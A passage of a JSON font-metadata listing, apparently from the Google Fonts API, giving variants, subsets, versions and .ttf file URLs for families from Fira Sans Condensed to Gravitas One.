Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2019-07-17","files":{"100":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarWZXtqOlQfx9CjA.ttf","100italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOtEADFm8hSaQTFG18FErVhsC9x-tarUfPVzONUXRpSjJcu.ttf","200":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWTnMiMN-cxZblY4.ttf","200italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVYMJ0dzRehY43EA.ttf","300":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWV3PiMN-cxZblY4.ttf","300italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVBMF0dzRehY43EA.ttf","regular":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOhEADFm8hSaQTFG18FErVhsC9x-tarYfHnrMtVbx8.ttf","italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarUfPtqOlQfx9CjA.ttf","500":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWQXOiMN-cxZblY4.ttf","500italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVXMB0dzRehY43EA.ttf","600":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWSnJiMN-cxZblY4.ttf","600italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVcMd0dzRehY43EA.ttf","700":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWU3IiMN-cxZblY4.ttf","700italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVFMZ0dzRehY43EA.ttf","800":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWVHLiMN-cxZblY4.ttf","800italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVCMV0dzRehY43EA.ttf","900":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWXXKiMN-cxZblY4.ttf","900italic":"http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVLMR0dzRehY43EA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fira Sans Extra Condensed","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2019-07-17","files":{"100":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3Zyuv1WarE9ncg.ttf","100italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPOcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqW21-ejkp3cn22.ttf","200":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3TCPn3-0oEZ-a2Q.ttf","200italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWd36-pGR7e2SvJQ.ttf","300":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3VSMn3-0oEZ-a2Q.ttf","300italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWE32-pGR7e2SvJQ.ttf","regular":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPKcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda5fiku3efvE8.ttf","italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fquv1WarE9ncg.ttf","500":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3QyNn3-0oEZ-a2Q.ttf","500italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWS3y-pGR7e2SvJQ.ttf","600":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3SCKn3-0oEZ-a2Q.ttf","600italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWZ3u-pGR7e2SvJQ.ttf","700":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3USLn3-0oEZ-a2Q.ttf","700italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWA3q-pGR7e2SvJQ.ttf","800":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3ViIn3-0oEZ-a2Q.ttf","800italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWH3m-pGR7e2SvJQ.ttf","900":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3XyJn3-0oEZ-a2Q.ttf","900italic":"http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWO3i-pGR7e2SvJQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fjalla One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/fjallaone/v8/Yq6R-LCAWCX3-6Ky7FAFnOZwkxgtUb8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fjord One","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fjordone/v9/zOL-4pbEnKBY_9S1jNKr6e5As-FeiQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Flamenco","variants":["300","regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/flamenco/v11/neIPzCehqYguo67ssZ0qNIkyepH9qGsf.ttf","regular":"http://fonts.gstatic.com/s/flamenco/v11/neIIzCehqYguo67ssaWGHK06UY30.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Flavors","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/flavors/v10/FBV2dDrhxqmveJTpbkzlNqkG9UY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fondamento","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/fondamento/v11/4UaHrEJGsxNmFTPDnkaJx63j5pN1MwI.ttf","italic":"http://fonts.gstatic.com/s/fondamento/v11/4UaFrEJGsxNmFTPDnkaJ96_p4rFwIwJePw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Fontdiner Swanky","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fontdinerswanky/v11/ijwOs4XgRNsiaI5-hcVb4hQgMvCD4uEfKiGvxts.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Forum","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/forum/v11/6aey4Ky-Vb8Ew_IWMJMa3mnT.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Francois One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/francoisone/v15/_Xmr-H4zszafZw3A-KPSZutNxgKQu_avAg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Frank Ruhl Libre","variants":["300","regular","500","700","900"],"subsets":["hebrew","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_36_fAw7jrcalD7oKYNX0QfAnPUxvHxJDMhYeIHw8.ttf","regular":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_w6_fAw7jrcalD7oKYNX0QfAnPa7fv4JjnmY4.ttf","500":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_36_fAw7jrcalD7oKYNX0QfAnPU0PGxJDMhYeIHw8.ttf","700":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_36_fAw7jrcalD7oKYNX0QfAnPUwvAxJDMhYeIHw8.ttf","900":"http://fonts.gstatic.com/s/frankruhllibre/v6/j8_36_fAw7jrcalD7oKYNX0QfAnPUzPCxJDMhYeIHw8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Freckle Face","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/freckleface/v9/AMOWz4SXrmKHCvXTohxY-YI0U1K2w9lb4g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fredericka the Great","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/frederickathegreat/v10/9Bt33CxNwt7aOctW2xjbCstzwVKsIBVV-9Skz7Ylch2L.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fredoka One","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/fredokaone/v8/k3kUo8kEI-tA1RRcTZGmTmHBA6aF8Bf_.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Freehand","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/freehand/v12/cIf-Ma5eqk01VjKTgAmBTmUOmZJk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fresca","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fresca/v9/6ae94K--SKgCzbM2Gr0W13DKPA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Frijole","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/frijole/v9/uU9PCBUR8oakM2BQ7xPb3vyHmlI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fruktur","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fruktur/v13/SZc53FHsOru5QYsMfz3GkUrS8DI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fugaz One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/fugazone/v10/rax_HiWKp9EAITukFslMBBJek0vA8A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"GFS Didot","variants":["regular"],"subsets":["greek"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gfsdidot/v10/Jqzh5TybZ9vZMWFssvwiF-fGFSCGAA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"GFS Neohellenic","variants":["regular","italic","700","700italic"],"subsets":["greek"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gfsneohellenic/v13/8QIRdiDOrfiq0b7R8O1Iw9WLcY5TLahP46UDUw.ttf","italic":"http://fonts.gstatic.com/s/gfsneohellenic/v13/8QITdiDOrfiq0b7R8O1Iw9WLcY5jL6JLwaATU91X.ttf","700":"http://fonts.gstatic.com/s/gfsneohellenic/v13/8QIUdiDOrfiq0b7R8O1Iw9WLcY5rkYdr644fWsRO9w.ttf","700italic":"http://fonts.gstatic.com/s/gfsneohellenic/v13/8QIWdiDOrfiq0b7R8O1Iw9WLcY5jL5r37oQbeMFe985V.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gabriela","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gabriela/v9/qkBWXvsO6sreR8E-b_m-zrpHmRzC.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gaegu","variants":["300","regular","700"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"300":"http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU57nifw74sdtBk0x.ttf","regular":"http://fonts.gstatic.com/s/gaegu/v8/TuGfUVB6Up9NU6ZLodgzydtk.ttf","700":"http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU573jvw74sdtBk0x.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Gafata","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gafata/v9/XRXV3I6Cn0VJKon4MuyAbsrVcA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Galada","variants":["regular"],"subsets":["bengali","latin"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/galada/v6/H4cmBXyGmcjXlUX-8iw-4Lqggw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Galdeano","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/galdeano/v10/uU9MCBoQ4YOqOW1boDPx8PCOg0uX.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Galindo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/galindo/v8/HI_KiYMeLqVKqwyuQ5HiRp-dhpQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gamja Flower","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/gamjaflower/v8/6NUR8FiKJg-Pa0rM6uN40Z4kyf9Fdty2ew.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Gayathri","variants":["100","regular","700"],"subsets":["latin","malayalam"],"version":"v2","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/gayathri/v2/MCoWzAb429DbBilWLLhc-pvSA_gA2W8.ttf","regular":"http://fonts.gstatic.com/s/gayathri/v2/MCoQzAb429DbBilWLIA48J_wBugA.ttf","700":"http://fonts.gstatic.com/s/gayathri/v2/MCoXzAb429DbBilWLLiE37v4LfQJwHbn.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gelasio","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/gelasio/v3/cIf9MaFfvUQxTTqSxCmrYGkHgIs.ttf","italic":"http://fonts.gstatic.com/s/gelasio/v3/cIf_MaFfvUQxTTqS9CuhZEsCkIt9QQ.ttf","500":"http://fonts.gstatic.com/s/gelasio/v3/cIf4MaFfvUQxTTqS_N2CRGEsnIJkWL4.ttf","500italic":"http://fonts.gstatic.com/s/gelasio/v3/cIf6MaFfvUQxTTqS9CuZkGImmKBhSL7Y1Q.ttf","600":"http://fonts.gstatic.com/s/gelasio/v3/cIf4MaFfvUQxTTqS_PGFRGEsnIJkWL4.ttf","600italic":"http://fonts.gstatic.com/s/gelasio/v3/cIf6MaFfvUQxTTqS9CuZvGUmmKBhSL7Y1Q.ttf","700":"http://fonts.gstatic.com/s/gelasio/v3/cIf4MaFfvUQxTTqS_JWERGEsnIJkWL4.ttf","700italic":"http://fonts.gstatic.com/s/gelasio/v3/cIf6MaFfvUQxTTqS9CuZ2GQmmKBhSL7Y1Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gentium Basic","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gentiumbasic/v12/Wnz9HAw9aB_JD2VGQVR80We3HAqDiTI_cIM.ttf","italic":"http://fonts.gstatic.com/s/gentiumbasic/v12/WnzjHAw9aB_JD2VGQVR80We3LAiJjRA6YIORZQ.ttf","700":"http://fonts.gstatic.com/s/gentiumbasic/v12/WnzgHAw9aB_JD2VGQVR80We3JLasrToUbIqIfBU.ttf","700italic":"http://fonts.gstatic.com/s/gentiumbasic/v12/WnzmHAw9aB_JD2VGQVR80We3LAixMT8eaKiNbBVWkw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gentium Book Basic","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gentiumbookbasic/v11/pe0zMJCbPYBVokB1LHA9bbyaQb8ZGjcIV7t7w6bE2A.ttf","italic":"http://fonts.gstatic.com/s/gentiumbookbasic/v11/pe0xMJCbPYBVokB1LHA9bbyaQb8ZGjc4VbF_4aPU2Ec9.ttf","700":"http://fonts.gstatic.com/s/gentiumbookbasic/v11/pe0wMJCbPYBVokB1LHA9bbyaQb8ZGjcw65Rfy43Y0V4kvg.ttf","700italic":"http://fonts.gstatic.com/s/gentiumbookbasic/v11/pe0-MJCbPYBVokB1LHA9bbyaQb8ZGjc4VYnDzofc81s0voO3.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Geo","variants":["regular","italic"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/geo/v12/CSRz4zRZlufVL3BmQjlCbQ.ttf","italic":"http://fonts.gstatic.com/s/geo/v12/CSRx4zRZluflLXpiYDxSbf8r.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Geostar","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/geostar/v11/sykz-yx4n701VLOftSq9-trEvlQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Geostar Fill","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/geostarfill/v11/AMOWz4SWuWiXFfjEohxQ9os0U1K2w9lb4g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Germania One","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/germaniaone/v8/Fh4yPjrqIyv2ucM2qzBjeS3ezAJONau6ew.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gidugu","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/gidugu/v8/L0x8DFMkk1Uf6w3RvPCmRSlUig.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gilda Display","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gildadisplay/v8/t5tmIRoYMoaYG0WEOh7HwMeR7TnFrpOHYh4.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Girassol","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v3","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/girassol/v3/JTUUjIo_-DK48laaNC9Nz2pJzxbi.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Give You Glory","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/giveyouglory/v10/8QIQdiHOgt3vv4LR7ahjw9-XYc1zB4ZD6rwa.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Glass Antiqua","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/glassantiqua/v8/xfu30Wr0Wn3NOQM2piC0uXOjnL_wN6fRUkY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Glegoo","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/glegoo/v10/_Xmt-HQyrTKWaw2Ji6mZAI91xw.ttf","700":"http://fonts.gstatic.com/s/glegoo/v10/_Xmu-HQyrTKWaw2xN4a9CKRpzimMsg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gloria Hallelujah","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gloriahallelujah/v12/LYjYdHv3kUk9BMV96EIswT9DIbW-MLSy3TKEvkCF.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Goblin One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/goblinone/v10/CSR64z1ZnOqZRjRCBVY_TOcATNt_pOU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gochi Hand","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gochihand/v11/hES06XlsOjtJsgCkx1PkTo71-n0nXWA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Goldman","variants":["regular","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/goldman/v1/pe0uMIWbN4JFplR2LDJ4Bt-7G98.ttf","700":"http://fonts.gstatic.com/s/goldman/v1/pe0rMIWbN4JFplR2FI5XIteQB9Zra1U.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gorditas","variants":["regular","700"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gorditas/v8/ll8_K2aTVD26DsPEtQDoDa4AlxYb.ttf","700":"http://fonts.gstatic.com/s/gorditas/v8/ll84K2aTVD26DsPEtThUIooIvAoShA1i.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gothic A1","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"100":"http://fonts.gstatic.com/s/gothica1/v8/CSR74z5ZnPydRjlCCwlCCMcqYtd2vfwk.ttf","200":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCpOYKSPl6tOU9Eg.ttf","300":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCwOUKSPl6tOU9Eg.ttf","regular":"http://fonts.gstatic.com/s/gothica1/v8/CSR94z5ZnPydRjlCCwl6bM0uQNJmvQ.ttf","500":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCmOQKSPl6tOU9Eg.ttf","600":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCtOMKSPl6tOU9Eg.ttf","700":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC0OIKSPl6tOU9Eg.ttf","800":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCzOEKSPl6tOU9Eg.ttf","900":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC6OAKSPl6tOU9Eg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gotu","variants":["regular"],"subsets":["devanagari","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-04-21","files":{"regular":"http://fonts.gstatic.com/s/gotu/v1/o-0FIpksx3QOlH0Lioh6-hU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Goudy Bookletter 1911","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/goudybookletter1911/v10/sykt-z54laciWfKv-kX8krex0jDiD2HbY6I5tRbXZ4IXAA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Graduate","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/graduate/v8/C8cg4cs3o2n15t_2YxgR6X2NZAn2.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Grand Hotel","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/grandhotel/v8/7Au7p_IgjDKdCRWuR1azpmQNEl0O0kEx.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Grandstander","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD1-_D3jWttFGmQk.ttf","200":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD9--D3jWttFGmQk.ttf","300":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQDwG-D3jWttFGmQk.ttf","regular":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD1--D3jWttFGmQk.ttf","500":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD22-D3jWttFGmQk.ttf","600":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD4G5D3jWttFGmQk.ttf","700":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD7i5D3jWttFGmQk.ttf","800":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD9-5D3jWttFGmQk.ttf","900":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD_a5D3jWttFGmQk.ttf","100italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf95zrcsvNDiQlBYQ.ttf","200italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9ZzvcsvNDiQlBYQ.ttf","300italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9uTvcsvNDiQlBYQ.ttf","italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf95zvcsvNDiQlBYQ.ttf","500italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf91TvcsvNDiQlBYQ.ttf","600italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9OTzcsvNDiQlBYQ.ttf","700italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9ADzcsvNDiQlBYQ.ttf","800italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9ZzzcsvNDiQlBYQ.ttf","900italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9TjzcsvNDiQlBYQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gravitas One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gravitasone/v10/5h1diZ4hJ3cblKy3LWakKQmaDWRNr3DzbQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Great 